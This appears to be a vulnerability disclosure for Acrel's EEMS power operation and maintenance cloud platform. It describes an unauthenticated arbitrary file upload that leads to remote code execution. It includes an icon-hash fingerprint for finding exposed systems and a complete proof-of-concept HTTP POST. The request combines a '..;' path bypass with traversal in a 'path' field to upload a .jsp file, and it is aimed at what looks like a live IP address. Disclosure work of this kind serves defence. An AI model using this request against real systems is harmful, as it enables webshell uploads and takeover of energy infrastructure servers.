[★]File Upload Vulnerability exists in /SubstationWEBV2/app/..;/main/upfile of Acrel EEMS Enterprise Power Operation and Maintenance Cloud Platform.
输入“/”快速插入内容
[★]File Upload Vulnerability exists in /SubstationWEBV2/app/..;/main/upfile of Acrel EEMS Enterprise Power Operation and Maintenance Cloud Platform.
[★]File Upload Vulnerability exists in /SubstationWEBV2/app/..;/main/upfile of Acrel EEMS Enterprise Power Operation and Maintenance Cloud Platform.
4月29日修改
Company：Acrel Electric Co., Ltd.
product: EEMS Enterprise Power Operation and Maintenance Cloud Platform
Affected version: 1.3.0
Vulnerability Type: Unrestricted File Upload
Attack Vector: Network (Remote)
漏洞描述 (Description)：
A Critical vulnerability exists in the Acrel EEMS Enterprise Power Operation and Maintenance Cloud Platform. The /SubstationWEBV2/app/..;/main/upfile interface fails to perform proper Identity Authentication and File Validation.
By leveraging a URL normalization bypass (..;) and Directory Traversal in the path parameter, an unauthenticated remote attacker can upload arbitrary malicious files (such as .jsp webshells) to any sensitive directory within the web root. This lead to a complete system compromise and Remote Code Execution (RCE) under the privileges of the web service user.
Impact Score (CVSS v3.1):
•
Attack Vector (AV): Network (只要能联网就能打)
•
Attack Complexity (AC): Low (无需特殊条件)
•
Privileges Required (PR): None (未授权)
•
User Interaction (UI): None (无需管理员点链接)
•
Scope (S): Changed
•
Confidentiality (C): High
•
Integrity (I): High
•
Availability (A): High
Vulnerability POC
icon_hash=="-2064056223"
The login page looks like this.
代码块
POST /SubstationWEBV2/app/..;/main/upfile HTTP/1.1
Host: 122.4.248.3:8090
Content-Length: 275
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6BoAzMBlDdl20kM0
------WebKitFormBoundary6BoAzMBlDdl20kM0
Content-Disposition: form-data; name="multipartFile"; filename="123.jsp"
123
------WebKitFormBoundary6BoAzMBlDdl20kM0
Content-Disposition: form-data; name="path";
/webMenuFile/../
------WebKitFormBoundary6BoAzMBlDdl20kM0--